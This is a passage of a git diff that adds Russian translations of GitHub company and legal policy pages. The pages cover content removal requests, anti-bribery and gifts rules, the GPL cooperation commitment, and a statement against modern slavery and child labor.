- Legal +children: + - /submitting-content-removal-requests + - /dmca-takedown-policy + - /github-private-information-removal-policy + - /github-trademark-policy + - /guide-to-submitting-a-dmca-counter-notice + - /guide-to-submitting-a-dmca-takedown-notice +ms.openlocfilehash: 6c13ecf26cf40b0748e6709a6a0ff3222a0b5577 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556709' +--- + diff --git a/translations/ru-RU/content/site-policy/content-removal-policies/submitting-content-removal-requests.md b/translations/ru-RU/content/site-policy/content-removal-policies/submitting-content-removal-requests.md new file mode 100644 index 000000000000..98b979e54068 --- /dev/null +++ b/translations/ru-RU/content/site-policy/content-removal-policies/submitting-content-removal-requests.md @@ -0,0 +1,34 @@ +--- +title: Отправка запросов на удаление контента +redirect_from: + - /articles/submitting-content-removal-requests + - /github/site-policy/submitting-content-removal-requests + - /github/site-policy/github-terms-and-other-site-policies/submitting-content-removal-requests +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 45dd8dbc7306e924a5d19d82b18082468cdff33c +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556706' +--- +Мы понимаем, что защищенный авторским правом, товарным знаком или личный контент может быть опубликован на GitHub — случайно или намеренно — иногда в репозиториях, которыми вы не владеете. Поскольку характер этого контента различается, а применимые законы тоже различаются, для каждой категории действуют свои собственные требования к отчетности, изложенные в наших правилах. + +Если вы хотите запросить удаление контента с GitHub, пожалуйста, уделите некоторое время ознакомлению с каждой из этих политик и соответствующими требованиями к сообщениям, прежде чем отправлять отчет. Если мы получим неполный отчет, нам потребуется запросить разъяснения или исправления, а вам потребуется повторно отправить исправленный отчет. + +Обратите внимание, что мы не можем помочь вам определить, какая политика подходит для вашей конкретной ситуации. Если вы ознакомились с приведенными ниже политиками и у вас все еще есть вопросы о том, следует ли сообщать о контенте как об авторских правах, товарных знаках или личной информации, мы рекомендуем проконсультироваться с независимым юрисконсультом. + +## [Политика изъятия контента DMCA](/articles/dmca-takedown-policy) +Политика изъятия контента DMCA может использоваться для сообщения о контенте, который, по вашему мнению, нарушает авторские права, принадлежащие вам или вашей организации. После того как вы ознакомились с этой политикой, вы также можете ознакомиться с нашим [Руководство по подаче уведомления об изъятии контента DMCA](/articles/guide-to-submitting-a-dmca-takedown-notice/) перед отправкой отчета. + +## [Политика GitHub в отношении товарных знаков](/articles/github-trademark-policy) +Политика GitHub в отношении товарных знаков может быть использована для сообщения о контенте, который, как представляется, использует название вашей компании или предприятия, логотипа или других материалов, защищенных товарными знаками, таким образом, который может ввести в заблуждение или запутать других в отношении их бренда или деловой принадлежности. + +## [Политика GitHub по удалению личной информации](/github/site-policy/github-private-information-removal-policy) +Политика GitHub по удалению личной информации может использоваться для сообщения о данных, которые являются частными (конфиденциальными и представляют угрозу безопасности), но которые не обязательно защищены авторским правом или товарным знаком. + +Пользователи в Индии могут связаться с сотрудником GitHub по работе с жалобами [здесь](https://support.github.com/contact/india-grievance-officer). diff --git a/translations/ru-RU/content/site-policy/github-company-policies/github-anti-bribery-statement.md b/translations/ru-RU/content/site-policy/github-company-policies/github-anti-bribery-statement.md new file mode 100644 index 000000000000..9ed58433784f --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-company-policies/github-anti-bribery-statement.md @@ -0,0 +1,64 @@ +--- +title: Заявление GitHub о борьбе со взяточничеством +redirect_from: + - /articles/github-anti-bribery-statement + - /github/site-policy/github-anti-bribery-statement +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 52d7b272455ad0cef74ae07a7f4694afd66c055f +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556703' +--- +GitHub придерживается этических принципов ведения бизнеса, в том числе запрещает взяточничество и коррупцию. Как объясняет [Transparency International](https://www.transparency.org/what-is-corruption#costs-of-corruption), издержки коррупции носят +- **политический характер**, создавая серьезное препятствие для демократии и верховенства права; +- **экономический характер**, истощая национальное богатство; +- **социальный характер**, подрывая доверие людей к политическому обществу, институтам и лидерам; +- **экологический характер**, способствуя несоблюдению экологического законодательства. + +Согласно данным [Всемирного банка,](https://www.worldbank.org/en/topic/governance/brief/anti-corruption) опубликованным в 2017 году, предприятия и частные лица ежегодно дают взятки на сумму около 1,5 триллиона долларов США. + +## Политика GitHub, запрещающая взяточничество + +GitHub четко излагает свои обязательства по борьбе со взяточничеством в ряде правил компании. Будучи частью семейства Microsoft, GitHub также придерживается Антикоррупционной политики Microsoft, которая распространяется на всех сотрудников и подрядчиков GitHub, в дополнение к описанной здесь политике. + +**Этический кодекс** GitHub запрещает сотрудникам и подрядчикам участвовать во взяточничестве или коррупции или способствовать им, а также устанавливает требования к ведению учета: + +>Вы никогда не должны платить, предлагать платить, обещать платить, склонять, принимать или предоставлять разрешение на выплату чего-либо ценного кому-либо — в том числе лицам, обладающим властью или полномочиями, например государственным служащим, или в коммерческих сделках — с целью получения или сохранения бизнеса или получения каких-либо других неправомерных преимуществ для GitHub или Microsoft. Вы также не должны вымогать или принимать взятки, откаты или любые другие неправомерные наличные платежи. ... [Сотрудники GitHub] обязаны вести точный и достоверный учет всех транзакций, связанных с любыми расходами, сделанными от имени GitHub, — например, сохраняя квитанции и предоставляя точное описание ваших расходов, — или любых других транзакций, связанных с отчуждением или передачей активов GitHub. Такие действия требуются в соответствии с Законом США о коррупции за рубежом, Законом Великобритании о борьбе со взяточничеством от 2010 года и антикоррупционными законами других юрисдикций, в которых GitHub ведет бизнес, а также просто являются правильными действиями. + +Этический кодекс GitHub подробно описывает некоторые ситуации, включая подарки, поездки и развлечения; содействие платежам; благотворительные пожертвования; работу; взаимодействие с представителями, а также тем, кто считается государственным служащим. + +Стандарты поведения GitHub запрещают: +>подкуп государственных чиновников или других лиц с целью получения несправедливого преимущества, а также получение взяток от кого бы то ни было. + +**Политика в отношении подарков и развлечений** GitHub объясняет, что взяточничество недопустимо в связи с поездками или развлечениями, и приводит примеры, иллюстрирующие неподобающее поведение. Политика описывает надлежащие и ненадлежащие подарки, расходы на поездки и представительские расходы; корпоративные процессы вручения подарков директорами, должностными лицами, сотрудниками и агентами GitHub, а также требования к ведению учета, штрафы и сообщения о нарушениях. Правила включают четкие пороговые денежные суммы для подарков, а также ежегодные ограничения с некоторыми исключениями для подарков, одобренных соответствующим руководством. Эта политика понятна и легко доступна для сотрудников и подрядчиков GitHub. + +## Тренинги для наших сотрудников + +Сотрудники GitHub обязаны пройти обучение по вопросам коррупции, включая взяточничество. Мы также проводим дополнительное обучение для особенно значимых людей и команд, таких как наш отдел продаж. В ходе обучения объясняются соответствующие элементы Закона США о коррупции за рубежом и Закона Великобритании о борьбе со взяточничеством от 2010 года. Например, +- определение и структурные последствия коррупции +- на кого распространяется, в том числе + - на государственных служащих или других лиц, занимающих властные позиции + - третьи лица +- какие виды деятельности подпадают под действие, в том числе + - деньги, подарки, поездки и развлечения + - платежи за упрощение формальностей + - благотворительные взносы и спонсорство +- с какой целью, в том числе + - намерение + - неправомерное преимущество или влияние +- проверка благонадежности и индикаторы риска +- требования к ведению учета + +Кроме того, в ходе обучения рассматриваются внутренние положения GitHub, связанные с борьбой с коррупцией и взяточничеством, включая нашу политику по недопущению преследования (информаторов). + +В то время как Закон США о коррупции за рубежом ориентирован на взаимодействие с государственными чиновниками, Закон Великобритании о взяточничестве имеет более широкое действие и распространяется на взяточничество любого человека, независимо от того, является ли он государственным служащим. Оба закона могут распространяться на действия GitHub в других частях земного шара. Политика GitHub запрещает давать взятки кому бы то ни было в любой точке мира. + +## Вовлечение наших партнеров +- Стандартные соглашения **GitHub о перепродаже с Торговыми партнерами** включают обязательные антикоррупционные положения. В дальнейшем GitHub будет требовать от своих Торговых партнеров взять на себя обязательство по соблюдению данного Антикоррупционного заявления. +- В дальнейшем **в контрактах с поставщиками** GitHub будет прописано требование взять на себя обязательство по соблюдению Кодекса поведения поставщика Microsoft или данного Антикоррупционного заявления. diff --git a/translations/ru-RU/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md b/translations/ru-RU/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md new file mode 100644 index 000000000000..f1d3c26ffa4b --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-company-policies/github-gifts-and-entertainment-policy.md @@ -0,0 +1,73 @@ +--- +title: Политика GitHub в отношении подарков и развлечений +redirect_from: + - /articles/github-gifts-and-entertainment-policy + - /github/site-policy/github-gifts-and-entertainment-policy +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 7bdf0b97071eb1a71dc40cc57b12208080382481 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556700' +--- +GitHub исходит из того, что наш бизнес построен на позитивных и прозрачных отношениях. Хотя неформальное общение и обмен подарками могут быть частью развития этих отношений и даже могут считаться обычным явлением в некоторых странах, мы должны убедиться, что соблюдаем законы о борьбе со взяточничеством. По закону мы обязаны вести себя этично, в том числе не использовать такое взаимодействие для создания особого преимущества или влияния на сделку. + +## Политика компании +Напоминаем, что наш Этический кодекс гласит: + +>Вы никогда не должны платить, предлагать платить, обещать платить, склонять, принимать или предоставлять разрешение на выплату чего-либо ценного кому-либо — в том числе лицам, обладающим властью или полномочиями, например государственным служащим, или в коммерческих сделках — с целью получения или сохранения бизнеса или получения каких-либо других неправомерных преимуществ для GitHub или Microsoft. Вы также не должны вымогать или принимать взятки, откаты или любые другие неправомерные наличные платежи. ... [Сотрудники GitHub] обязаны вести точный и достоверный учет всех транзакций, связанных с любыми расходами, сделанными от имени GitHub, — например, сохраняя квитанции и предоставляя точное описание ваших расходов, — или любых других транзакций, связанных с отчуждением или передачей активов GitHub. Такие действия требуются в соответствии с Законом США о коррупции за рубежом, Законом Великобритании о борьбе со взяточничеством от 2010 года и антикоррупционными законами других юрисдикций, в которых GitHub ведет бизнес, а также просто являются правильными действиями. + +Этический кодекс GitHub подробно описывает некоторые ситуации, включая подарки, поездки и развлечения; содействие платежам; благотворительные пожертвования; работу; взаимодействие с представителями, а также тем, кто считается государственным служащим. + +Наши стандарты поведения запрещают: +>Подкуп государственных чиновников или других лиц с целью получения несправедливого преимущества, а также получение взяток от кого бы то ни было. + +Это означает, что не только никакие деньги или денежный эквивалент любого рода, но и ничто ценное не должно быть передано кому-либо (включая государственных служащих, правительственных чиновников или кого-либо, занимающего властное или авторитетное положение, а также людей, не занимающих ни одного из этих привилегированных положений) с целью повлиять на них или взято у кого-либо с целью повлиять на GitHub. Такая деятельность запрещена Законом США о коррупции за рубежом и законами Великобритании о борьбе со взяточничеством, оба из которых регулируют действия GitHub во всем мире. + +## Примеры приемлемых и неприемлемых подарков +Так что же означает «ценность»? Имейте в виду, что для государственных служащих недопустимы никакие подарки (ну, может быть, наклейки). Вы всегда должны спрашивать, что разрешают и запрещают им эти законы. Но если вы сомневаетесь, пожалуйста, проверьте это в юридическом отделе, чтобы быть уверенным. Например, многие конгрессмены США не позволят вам пригласить их на ужин и заплатить. + +Что касается других существующих или потенциальных клиентов, некоторые вещи могут показаться тривиальными, но иметь большую ценность для кого-то другого. Например, вам может не показаться большой проблемой нанять дочь вашего друга в качестве стажера, однако для него это может иметь огромное значение. Но если у нее нет квалификации, а вы используете свои связи для этого, то это неприемлемо. Кроме того, если намерение состоит в оказании ненадлежащего влияния, то «ценностью» может считаться все, что угодно, пусть даже что-то незначительное. + +🙅 _Далее перечислены некоторые другие вещи, которые являются неприемлемыми._ + +- Авиабилеты первым классом в офисы GitHub на брифинги для руководителей ✈️+🍾 +- Винные туры 🍷 +- Рекомендация ребенка друга для поступления в престижную частную школу 🎓 +- Билеты в Диснейленд 👸, на чемпионат мира 🥅, на Олимпиаду 🏅 +- Мяч ⚽️ с автографом известного игрока +- Взнос на благотворительность + +🙆 _Вот некоторые вещи, которые действительно подходят для клиентов или потенциальных клиентов:_ + +- Сувениры +- Авиабилеты экономическим классом в офисы GitHub на брифинги для руководителей ✈️ +- Билеты на обычную трибуну на спортивное мероприятие ⚾️ +- Недорогой ужин в городе 🍽 +- Небольшая коробка конфет в конце года в качестве благодарности 🍫 + +Все вышеперечисленное относится и к _получению_ взяток. Поэтому если существующий или потенциальный поставщик присылает вам что-то «ценное», не принимайте это или по меньшей мере проконсультируйтесь с юристом, прежде чем сделать это. + +## Процедура +Если вы планируете предоставить или принять неофициальный подарок (не являющийся одним из наших рекламных товаров, таких как футболки и наклейки), пожалуйста, следуйте приведенной ниже процедуре. + +Имейте в виду, что допустимая сумма может варьироваться. Например, потратить 50 долларов США на ужин может считаться большими деньгами в одних странах, но не такими большими в других. Так что если сомневаетесь, спрашивайте! + +1. Вообще говоря, для любых расходов, превышающих 150 долларов США, вам потребуется письменное разрешение (каждый раз) от юридического отдела. И о любых полученных вами подарках, стоимость которых превышает 150 долларов США, вам необходимо сообщать об этом (каждый раз) в юридический отдел в письменной форме. (Юристы просто взвешивают вопрос о взятках. По другим причинам вам дополнительно может потребоваться согласование с финансовым отделом). + +2. Когда вы представляете отчет о расходах для возмещения, пожалуйста: + - В примечаниях укажите получателя и цель подарка; и + - Приложите копию одобрения по электронной почте + +## Последствия +Что произойдет, если вы не будете следовать этой политике и GitHub в итоге оплатит потенциальному клиенту и его семье перелет первым классом в Японию и посещение Олимпийских игр в Токио? Или если вы оставите чемодан с евро для государственного чиновника в заранее подготовленной камере хранения на вокзале? + +ШТРАФЫ и ТЮРЬМА. И не обязательно только для GitHub. Вы сами можете провести несколько лет в тюрьме, и не будет иметь значения, отправлял ли заказчик заказ на GitHub после поездки в Японию и забирал ли вообще государственный чиновник чемодан с деньгами. По сути, не имеет значения, действительно ли вы _дали_ взятку. Вопреки стилю записи Йоды, важны именно попытки. + +## Дополнительные сведения +Для получения дополнительной информации и сведений о правилах, правоприменении и штрафных санкциях можно воспользоваться [справочником Министерства юстиции США по Закону США о коррупции за рубежом](https://www.justice.gov/sites/default/files/criminal-fraud/legacy/2015/01/16/guide.pdf) diff --git a/translations/ru-RU/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md b/translations/ru-RU/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md new file mode 100644 index 000000000000..7e52a5eba4a2 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-company-policies/github-gpl-cooperation-commitment.md @@ -0,0 +1,42 @@ +--- +title: 'GitHub: общедоступная лицензия (GPL), обязательства по сотрудничеству' +redirect_from: + - /articles/github-gpl-cooperation-commitment + - /github/site-policy/github-gpl-cooperation-commitment +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: d48a18256fab3ba4064123ef7b7ff9cdba11b9e8 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556697' +--- +Это обязательство относится к вкладу GitHub в Git, ядро Linux и другие программы под лицензиями (прокрутите страницу до конца, чтобы узнать определения). + +В основу нашего заявления мы положили [шаблон](https://github.com/gplcc/gplcc/blob/master/Company/GPL%20Cooperation%20Commitment-Company-Template.md) для компаний. На [Сайте обязательств по сотрудничеству GPL](https://gplcc.github.io/gplcc/) можно узнать, как другие компании, отдельные лица и проекты могут принять это обязательство. + +## Наше обязательство + +Перед подачей или продолжением судебного разбирательства или иска (кроме Иска о защите), возникающего в связи с прекращением действия Покрытой лицензии, GitHub обязуется распространить на физическое или юридическое лицо («вы»), обвиняемое в нарушении Покрытой лицензии, следующие положения относительно устранения и восстановления, взятые из GPL версии 3. Используемый здесь термин «настоящая Лицензия» относится к конкретной Покрытой лицензии, применяемой принудительно. + +Однако, если вы прекратите все нарушения настоящей Лицензии, то ваша лицензия от конкретного правообладателя будет восстановлена (а) временно, если и пока правообладатель явно и окончательно не прекратит действие вашей лицензии, и (б) постоянно, если правообладатель не уведомит вас о нарушении каким-либо разумным способом до истечения 60 дней после прекращения. + +Более того, ваша лицензия от конкретного правообладателя восстанавливается постоянно, если правообладатель уведомит вас о нарушении каким-либо разумным способом, вы впервые получите уведомление о нарушении этой Лицензии (для любой работы) от этого правообладателя и вы устраните нарушение до истечения 30 дней после получения уведомления. + +GitHub предполагает, что данное Обязательство будет безотзывным, обязательным и подлежащим исполнению в отношении GitHub и правопреемников или правопреемников авторских прав GitHub. + +GitHub может изменить это обязательство, опубликовав новую редакцию на этой странице или на площадке правопреемника. + +Определения + +«Покрываемая лицензия» означает Стандартную общедоступную лицензию GNU версии 2 (GPLv2), Стандартную общественную лицензию ограниченного использования GNU версии 2.1 (LGPLv2.1) или Стандартную общедоступную лицензию GNU для библиотек версии 2 (LGPLv2), опубликованные Фондом свободного программного обеспечения. + +«Защитное действие» означает судебное разбирательство или претензию, которую GitHub предъявляет вам в ответ на предыдущую судебную процедуру или претензию, инициированную вами или вашим аффилированным лицом. + +«GitHub» означает компанию GitHub, Inc. и ее дочерние компании. + +Данная работа доступна по лицензии Creative Commons Attribution-ShareAlike 4.0 International. diff --git a/translations/ru-RU/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md b/translations/ru-RU/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md new file mode 100644 index 000000000000..13223c36ab9f --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-company-policies/github-statement-against-modern-slavery-and-child-labor.md @@ -0,0 +1,116 @@ +--- +title: Заявление GitHub против современного рабства и детского труда +redirect_from: + - /articles/github-statement-against-modern-slavery-and-child-labor + - /github/site-policy/github-statement-against-modern-slavery-and-child-labor +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: ac0cd2da67f8cc9158709e17e16084aea7cf33b1 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556740' +--- +*заявление 2018 года* + +По данным Международной организации труда (МОТ), [40 миллионов человек стали жертвами современного рабства, а 152 миллиона детей подверглись детскому наемному труду](https://www.ilo.org/global/about-the-ilo/newsroom/news/WCMS_574717/lang--en/index.htm) по всему миру в 2016 году. Как [сообщает МОТ](https://www.ilo.org/global/topics/forced-labour/lang--en/index.htm): + - каждая четвертая жертва современного рабства — дети. + - из 24,9 миллионов человек, занятых принудительным трудом, 16 миллионов человек эксплуатируются в частном секторе, например в качестве домашней прислуги, в строительстве или сельском хозяйстве; 4,8 миллионов человек подвергаются принудительной сексуальной эксплуатации и 4 миллиона человек подвергаются принудительному труду, навязанному государственными органами. + - женщины и девочки несоразмерно страдают от принудительного труда, составляя 99 % жертв в индустрии коммерческого секса и 58 % в других секторах. + +GitHub сожалеет о наличии и сохранении современного рабства и детского труда и серьезно относится к своей ответственности за то, чтобы ни современное рабство, ни детский труд не использовались в его цепочке поставок или в любой части его бизнеса. («Современное рабство» в этом заявлении относится к рабству, принудительному или обязательному труду, торговле людьми, подневольному состоянию и рабочим, которые заключены в тюрьму, по найму или в неволе. «Детский труд» означает работу, выполняемую лицом младше 16 лет (или младше 14 лет в случае легкой работы), при условии что она не ограничивается периодами, мешающими обучению ребенка в школе, и не находится в условиях, мешающих здоровью или благополучию ребенка). + +В соответствии с [Законом Великобритании о современном рабстве](https://www.legislation.gov.uk/ukpga/2015/30/section/54/enacted) и в соответствии с [Протоколом МОТ от 2014 года к Конвенции о принудительном труде](https://www.ilo.org/dyn/normlex/en/f?p=NORMLEXPUB:12100:0::NO::P12100_ILO_CODE:P029), [Декларацией МОТ об основополагающих принципах и правах в сфере труда](https://www.ilo.org/declaration/thedeclaration/textdeclaration/lang--en/index.htm)и [Задачей 8.7.Целей устойчивого развития ООН](https://www.unodc.org/roseap/en/sustainable-development-goals.html#:~:text=Target%208.7%20%2D%20Take%20immediate%20and,labour%20in%20all%20its%20forms) это заявление 2018 года против современного рабства и детского труда («Заявление») описывает шаги, предпринятые GitHub для предотвращения использования современного рабства и детского труда в своем бизнесе или цепочке поставок. + +## Структура, бизнес и цепочки поставок GitHub + +GitHub — это платформа для разработки программного обеспечения со штаб-квартирой в Сан-Франциско, а сотрудники и подрядчики работают во многих странах. + +Все сотрудники GitHub и отдельные независимые подрядчики работают на добровольной основе и по собственному желанию. GitHub имеет в основном распределенный штат сотрудников и стремится обеспечить конкурентоспособную компенсацию и льготы для своих сотрудников и подрядчиков независимо от их местонахождения. Это справедливо независимо от того, нанимаем ли мы независимых подрядчиков напрямую или через посредника. + +GitHub не занимается производством и изготовлением оборудования, а также не использует кадровые агентства для оказания услуг, которые часто выполняют рабочие-мигранты. Характер бизнеса GitHub не подвержен внезапным изменениям рабочей нагрузки или ценовому давлению, которые часто стимулируют спрос на методы, повышающие риск принудительного труда в цепочках поставок, такие как принудительные сверхурочные. + +GitHub предлагает бесплатное и платное программное обеспечение, а также веб-приложения в качестве услуги для клиентов по всему миру. Продукты GitHub включают: + - GitHub.com: веб-платформа для совместной работы и размещения кода; + - GitHub Enterprise: локальное программное обеспечение для совместной работы и размещения кода; + - Atom: текстовый редактор; + - Electron: среда для написания кроссплатформенных настольных приложений; + - GitHub Desktop: настольное приложение для доступа к GitHub.com и GitHub Enterprise. + +Цепочка поставок GitHub состоит из товаров и услуг для наших продуктов и операций, включая вычислительные услуги, планирование мероприятий, покупку розничных и рекламных товаров, канцелярских товаров и аренду помещений, таких как офисные помещения и центры обработки данных. + +## Политика в отношении современного рабства и детского труда + +### Современное рабство и детский труд + +**Этический кодекс GitHub** запрещает сознательное использование, участие, поддержку или терпимость к современному рабству (рабство, принудительный или обязательный труд, торговля людьми, подневольное состояние или работники, заключенные в тюрьму, по найму или в неволе) или детский труд в своей коммерческой деятельности. Любой сотрудник или подрядчик GitHub, нарушивший этот запрет, будет освобожден от работы или деловых отношений. + +**Стандарты поведения GitHub** запрещают небезопасное и незаконное поведение, включая сознательное использование, участие, поддержку или терпимость к современному рабству (рабство, принудительный или обязательный труд, торговля людьми, подневольное состояние или работники, заключенные в тюрьму, по найму или в неволе) или детский труд. + +GitHub соблюдает законы, запрещающие торговлю людьми и детский труд в юрисдикциях, в которых она работает, в том числе [Положение о федеральных закупках США 22.17 о борьбе с торговлей людьми](https://www.govinfo.gov/content/pkg/CFR-2009-title48-vol1/pdf/CFR-2009-title48-vol1-part22-subpart22-17.pdf). + +Кроме того, GitHub установила партнерские отношения с программой FairHotel, что означает, что GitHub поощряет своих сотрудников выбирать отели, одобренные FairHotel, где работники имеют справедливую заработную плату, адекватные льготы и право голоса на работе. Статус партнера FairHotel также означает, что GitHub оказывает услуги отелям как добросовестный работодатель. + +В будущем GitHub будет сообщать об этом заявлении всем сотрудникам, подрядчикам и поставщикам, включая рекрутеров и агентства по трудоустройству. Кроме того, GitHub организует обучение для всех сотрудников GitHub по вопросам современного рабства и детского труда. GitHub [публично размещает свое Заявление против современного рабства и детского труда](/articles/github-statement-against-modern-slavery-and-child-labor). + +В GitHub действует политика отказа от преследования за сообщения о проблемах на рабочем месте. В соответствии с этим Заявлением GitHub позволяет сотрудникам и подрядчикам сообщать о проблемах, касающихся современного рабства и детского труда, не опасаясь возмездия. + +## Трудовое законодательство и практика + +Трудовая практика компании GitHub является + +**справедливой**. + - GitHub платит своим сотрудникам и подрядчикам справедливую заработную плату в соответствии с применимыми законами. + - GitHub поддерживает гуманные условия труда. + - GitHub не требует от работников превышения максимального количества часов ежедневного труда, установленного региональными и национальными законами и нормами. + - GitHub своевременно выплачивает заработную плату своим сотрудникам и подрядчикам, предоставляя документы (например, платежную ведомость) с указанием основания, на котором они получают заработную плату, и ведет учет сотрудников в соответствии с местным и национальным законодательством. + +**гуманной и этичной**: + - GitHub использует только добровольный труд. + - GitHub запрещает детский труд. + - GitHub не применяет физические наказания и жестокое обращение. + - GitHub не терпит домогательств или незаконной дискриминации в трудовом коллективе или на рабочем месте. + +**уважительной**: + - GitHub защищает права своих сотрудников на свободу объединения и ведение коллективных переговоров в соответствии с требованиями законодательства, в том числе на публикацию юридических уведомлений о правах сотрудников в соответствии с Национальным законом о трудовых отношениях. + - GitHub предоставляет сотрудникам льготы на уровне или превышающем уровень, ожидаемый в отрасли. + - GitHub поощряет сотрудников сообщать о любых претензиях на рабочем месте и не терпит преследований за такие сообщения. + +## Процессы должной осмотрительности в отношении современного рабства и детского труда в своем бизнесе и цепочках поставок + +GitHub оценивает свой бизнес и цепочку поставок на предмет рисков, связанных с современным рабством и детским трудом. Опираясь на внутреннюю и внешнюю экспертизу в области прав человека, GitHub провела межфункциональный анализ (включая политику, юридические вопросы, закупки, финансы и операции, особенно отдел кадров), чтобы определить, где в его бизнесе и цепочке поставок существуют трудовые услуги, а также выявить потенциальные риски, связанные с современным рабством и детским трудом. GitHub определяет приоритетные области, где эти риски могут быть более значительными с точки зрения серьезности, масштаба или вероятности, с целью более тщательной комплексной юридической экспертизы, мониторинга и проверки. GitHub продолжает рассматривать возможные риски и способы их устранения. Кроме того, GitHub теперь получает от своих поставщиков гарантии того, что их практика соответствует настоящему Заявлению, в том числе за счет соблюдения законов, касающихся современного рабства или детского труда. + +## Места в бизнесе и цепочках поставок GitHub, где существует риск современного рабства и детского труда, и шаги, предпринятые GitHub для оценки этого риска и управления им. + +GitHub не выявила поставщиков с высоким риском; однако современное рабство или детский труд с большей вероятностью будут иметь место у поставщиков услуг, связанных с ручным трудом, таких как обслуживание мероприятий, строительство, коммунальные и продовольственные услуги. GitHub будет проводить аудит существующих поставщиков и требовать от тех, кто находится в зонах повышенного риска, подтверждения того, что они оказывают услуги в соответствии с настоящим Заявлением. + +Хотя GitHub не знает о фактическом или предполагаемом современном рабстве или детском труде в своем бизнесе или цепочке поставок и не имеет достоверных оснований полагать, что это имеет место, компания обязуется предоставить средства правовой защиты, если сама компания GitHub станет непосредственной причиной современного рабства или детского труда, а также устранить более широкие случаи несоответствия данному Заявлению, вызванные недостатками в системах или процессах компании GitHub. Меры GitHub по исправлению ситуации для отдельных жертв будут включать протоколы для принятия соответствующих немедленных мер по устранению современного рабства и практики детского труда, а также ресурсы для оказания разумных и соответствующих услуг жертвам, направленных на компенсацию причиненного вреда. + +## Эффективность в обеспечении отсутствия современного рабства и детского труда в бизнесе GitHub или цепочках поставок + +GitHub соблюдает и будет соблюдать законы, касающиеся современного рабства и детского труда. + +В дальнейшем GitHub будет требовать от своих поставщиков соблюдения этого Заявления, а также законов, касающихся современного рабства и детского труда. GitHub теперь также требует от своих поставщиков: + - не использовать, не поддерживать, не терпеть современное рабство или детский труд и не участвовать в нем; + - не использовать вводящие в заблуждение или мошеннические методы найма или привлечения сотрудников или контрактных работников; + - не взимать с сотрудников или контрактных работников плату за наем или привлечение; + - не уничтожать, не скрывать, не конфисковать или иным образом не препятствовать доступу сотрудника или любого контрактного работника к паспорту, водительскому удостоверению или другим документам, удостоверяющим личность; + - разрешать нам расторгать с ними соглашения за любое нарушение своих обязательств, связанных с современным рабством или детским трудом; и + - возмещать любой ущерб, причиненный любому работнику, который был признан подвергнутым любой форме современного рабства или детского труда, если это требуется по закону. + +Кроме того, GitHub настоятельно рекомендует своим поставщикам: + - проводить комплексную юридическую экспертизу своих поставщиков с точки зрения современного рабства и детского труда, включая оценку рисков; + - принимать меры по устранению выявленных рисков; и + - использовать аналогичные формулировки для борьбы с современным рабством и детским трудом в работе со своими поставщиками. + +Инструкции GitHub по закупкам для сотрудников, отвечающих за снабжение в компании, теперь содержат ссылку на требование к поставщикам соблюдать Кодекс поведения поставщиков Microsoft или настоящее Заявление. + +## Тренинг для сотрудников GitHub по вопросам современного рабства и торговли людьми + +GitHub проводит обучение по вопросам современного рабства и детского труда, которое будет обязательным для всех сотрудников, а также для бизнеса GitHub и цепочки поставок. GitHub выделит поставщиков, предоставляющих услуги, связанные с ручным трудом, такие как сопровождение мероприятий, строительство, коммунальные и продовольственные услуги, как зоны повышенного потенциального риска. + +**Совет директоров GitHub одобрил [это Заявление](/assets/images/help/site-policy/github-statement-against-modern-slavery-and-child-labor.pdf).** diff --git a/translations/ru-RU/content/site-policy/github-company-policies/index.md b/translations/ru-RU/content/site-policy/github-company-policies/index.md new file mode 100644 index 000000000000..481ecee40b64 --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-company-policies/index.md @@ -0,0 +1,20 @@ +--- +title: Политика компании GitHub +versions: + fpt: '*' +topics: + - Policy + - Legal +children: + - /github-statement-against-modern-slavery-and-child-labor + - /github-anti-bribery-statement + - /github-gpl-cooperation-commitment + - /github-gifts-and-entertainment-policy +ms.openlocfilehash: f2d44e73fb8ecfc594d366de5baba0dab929f5c5 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556655' +--- + diff --git a/translations/ru-RU/content/site-policy/github-terms/github-community-code-of-conduct.md b/translations/ru-RU/content/site-policy/github-terms/github-community-code-of-conduct.md new file mode 100644 index 000000000000..9f03425c43da --- /dev/null +++ b/translations/ru-RU/content/site-policy/github-terms/github-community-code-of-conduct.md @@ -0,0 +1,123 @@ +--- +title: Правила поведения сообщества GitHub +redirect_from: + - /articles/github-community-forum-code-of-conduct + - /github/site-policy/github-community-forum-code-of-conduct + - /github/site-policy/acceptable-use-policies/github-community-forum-code-of-conduct + - /site-policy/github-terms/github-community-forum-code-of-conduct +versions: + fpt: '*' 